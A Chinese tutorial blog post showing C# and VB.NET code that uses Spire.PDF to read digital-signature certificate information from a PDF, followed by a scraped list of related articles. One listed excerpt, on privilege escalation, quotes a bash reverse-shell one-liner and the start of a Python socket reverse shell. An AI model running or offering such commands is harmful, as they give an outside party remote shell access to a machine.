C# 获取PDF中的数字签名证书
PDF中的加数字签名是对文档权威性的有效证明。我们在向PDF文档添加签名时,需要准备可信任的签名证书。同时,对已有的签名,可验证签名是否有效,也可以获取文档中的签名证书信息。下面,以C#代码示例展示如何来获取PDF中的数字签名证书信息。
环境准备
需要在程序中导入Spire.Pdf.dll。这里以一个控制台应用程序为例,引用dll可选择以下两种方法中的任意一种即可:
方法1:打开“解决方案资源管理器”,鼠标右键点击“引用”,“添加引用”:

选择“浏览”,“浏览”,并找到本地路径下的Spire.Pdf.dll文件:


添加到引用列表后,勾选,点击“OK”完成引用:


方法2:通过NuGet安装。
在VS程序中打开“解决方案资源管理器”,鼠标右键点击“引用”,“管理NuGet包”:

点击“搜索”,在搜索框中输入,点击包,安装:

或者通过PM控制台安装:
Install-Package Spire.PDF -Version 7.11.1
代码示例
实现读取签名的证书,本次代码主要分为以下步骤:
1. 实例化PdfDocument类的对象,并通过PdfDocument. LoadFromFile(string filename)方法加载PDF文档。
2. 通过PdfFormWidget. FieldsWidget属性获取PdfFormFieldWidgetCollection类的域集合
3. 通过for循环遍历所有域,并判断集合中的域是否为PdfSignatureFieldWidget类的签名域。
4. 获取PdfSignatureFieldWidget类的签名域后,通过其提供的PdfSignatureFieldWidget. Signature.Certificate属性获取签名证书,以及该属性下枚举的20余种方法(如下图)来获取证书的详细信息。

(本次代码中仅简单列举使用了2种方法获取证书信息。)
5. 最后通过控制台输出获取的证书信息。
C#
using Spire.Pdf;
using Spire.Pdf.Widget;
using System; namespace GetCertificateInfo
{
class Program
{
static void Main(string[] args)
{
//实例化PdfDocument类的对象,并加载PDF文档
PdfDocument pdf = new PdfDocument();
pdf.LoadFromFile("test.pdf"); //获取域集合
PdfFormWidget pdfFormWidget = (PdfFormWidget)pdf.Form;
PdfFormFieldWidgetCollection pdfFormFieldWidgetCollection = pdfFormWidget.FieldsWidget; //遍历域
for (int i = 0; i < pdfFormFieldWidgetCollection.Count; i++)
{
//判定是否为签名域
if (pdfFormFieldWidgetCollection[i] is PdfSignatureFieldWidget)
{
//获取签名域
PdfSignatureFieldWidget signatureFieldWidget = (PdfSignatureFieldWidget)pdfFormFieldWidgetCollection[i]; //获取签名证书
string certificateInfo = signatureFieldWidget.Signature.Certificate.ToString(); //获取证书格式
string format = signatureFieldWidget.Signature.Certificate.GetFormat(); Console.WriteLine(certificateInfo+ "\n"+ "[CertificateFormat]\n " + format );
}
}
Console.ReadKey();
}
}
}
VB.NET
Imports Spire.Pdf
Imports Spire.Pdf.Widget Namespace GetCertificateInfo
Class Program
Private Shared Sub Main(args As String())
'实例化PdfDocument类的对象,并加载PDF文档
Dim pdf As New PdfDocument()
pdf.LoadFromFile("test.pdf") '获取域集合
Dim pdfFormWidget As PdfFormWidget = DirectCast(pdf.Form, PdfFormWidget)
Dim pdfFormFieldWidgetCollection As PdfFormFieldWidgetCollection = pdfFormWidget.FieldsWidget '遍历域
For i As Integer = 0 To pdfFormFieldWidgetCollection.Count - 1
'判定是否为签名域
If TypeOf pdfFormFieldWidgetCollection(i) Is PdfSignatureFieldWidget Then
'获取签名域
Dim signatureFieldWidget As PdfSignatureFieldWidget = DirectCast(pdfFormFieldWidgetCollection(i), PdfSignatureFieldWidget) '获取签名证书
Dim certificateInfo As String = signatureFieldWidget.Signature.Certificate.ToString() '获取证书格式
Dim format As String = signatureFieldWidget.Signature.Certificate.GetFormat() Console.WriteLine(Convert.ToString((certificateInfo & Convert.ToString(vbLf)) + "[CertificateFormat]" & vbLf & " ") & format)
End If
Next
Console.ReadKey()
End Sub
End Class
End Namespace
读取结果:

—End—
C# 获取PDF中的数字签名证书的更多相关文章
- [转载]JavaEE学习篇之——网络传输数据中的密码学知识以及Tomcat中配置数字证书EE
原文链接:http://blog.csdn.net/jiangwei0910410003/article/details/21716557 今天是学习JavaWeb的第二天,我们来了解什么呢?就了解一 ...
- 转: 在.NET中操作数字证书
作者:玄魂出处:博客2010-06-23 12:05 http://winsystem.ctocio.com.cn/19/9492019.shtml .NET为我们提供了操作数字证书的两个主要的类,分 ...
- C# 在PDF中创建和填充域
C# 在PDF中创建和填充域 众所周知,PDF文档通常是不能编辑和修改的.如果用户需要在PDF文档中签名或者填写其他内容时,就需要PDF文档中有可编辑的域.开发者也经常会遇到将数据以编程的方式填充到P ...
- RSA原理、ssl认证、Tomcat中配置数字证书以及网络传输数据中的密码学知识
情形一:接口的加.解密与加.验签 rsa不是只有加密解密,除此外还有加签和验签.之前一直误以为加密就是加签,解密就是验签.这是错误的! 正确的理解是: 数据传输的机密性:公钥加密私钥解密是密送,保 ...
- 在.NET中操作数字证书(新手教程)
.NET为我们提供了操作数字证书的两个主要的类,分为为: System.Security.Cryptography.X509Certificates.X509Certificate2类, 每个这个类的 ...
- HTTPS 数字签名 证书
HTTPS 先来看一下HTTPS的定义: HTTPS(Hyper Text Transfer Protocol Secure)是一种经过计算机网络进行安全通信的传输协议.HTTPS经由HTTP进行通信 ...
- JavaWeb学习篇之----Tomcat中配置数字证书以及网络传输数据中的密码学知识
今天是学习JavaWeb的第二天,我们来了解什么呢?就了解一下Tomcat中配置数字证书的相关内容,但是在说这部分内容的时候,我们貌似得先说一下数字证书的相关概念,那说到数字证书的时候我们还得了解一些 ...
- 从PDF中提取信息----PDFMiner
今天由于某种原因需要将pdf中的文本提取出来,就去搜了下资料,发现PDFMiner是针对 内容提取的,虽然最后发现pdf里面的文本全都是图片,就没整成功,不过试了个文本可复制的 那种pdf文件,发现还 ...
- java 如何在pdf中生成表格
1.目标 在pdf中生成一个可变表头的表格,并向其中填充数据.通过泛型动态的生成表头,通过反射动态获取实体类(我这里是User)的get方法动态获得数据,从而达到动态生成表格. 每天生成一个文件夹存储 ...
随机推荐
- WPF进阶技巧和实战02-布局
窗体 无边框 窗体无边框(最大化及标题位置)WindowStyle="None" 窗体透明 AllowsTransparency="True",必须设置窗体无边 ...
- State Space Model Content
State Space Model 状态空间模型及其卡尔曼滤波技术 混合正态分布下的状态空间模型及其滤波
- 提权AND反弹OR转发
bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...
- Redis对象
概述 Redis并没有使用基础数据结构去实现键值数据库,而是基于数据结构封装了一个个对象. 类型和编码 由于Redis是键值数据库,所以每次存储数据时,至少包含两个对象,即K.V对应的对象.其数据结构 ...
- Java实现爬取京东手机数据
Java实现爬取京东手机数据 最近看了某马的Java爬虫视频,看完后自己上手操作了下,基本达到了爬数据的要求,HTML页面源码也刚好复习了下,之前发布两篇关于简单爬虫的文章,也刚好用得上.项目没什么太 ...
- 自然语言处理标注工具——Brat(安装、测试、使用)
一.Brat标注工具安装 1.安装条件: (1)运行于Linux系统(window系统下虚拟机内linux系统安装也可以) (2)目前brat最新版本(v1.3p1)仅支持python2版本运行使用( ...
- windows下编译caffe出现错误 C4996: 'std::_Copy_impl': Function call with parameters that may be unsafe?
解决方案来自http://blog.csdn.net/u012556077/article/details/50353818
- 3D Analyst Tools(3D Analyst 工具)
3D Analyst 工具 工具里有又细分如下分类: 注:以下代码的参数需要另行配置,不能直接执行:Python2不支持中文变量! 1.3D 要素 # Process: 3D 内部 arcpy.Ins ...
- CAD_DWG图Web可视化一站式解决方案-唯杰地图-vjmap
背景 DWG图是AutoCAD是私有格式,只能在CAD软件上编辑查看,如何发布至Web上做数据展示,GIS分析应用开发,一直是业内头疼的事情. 传统的办法采用的解析AutoCAD图形绘制,并封装成Ac ...
- 2020.12.14--Codeforces Round #104 (Div.2)补题
C - Lucky Conversion CodeForces - 146C Petya loves lucky numbers very much. Everybody knows that luc ...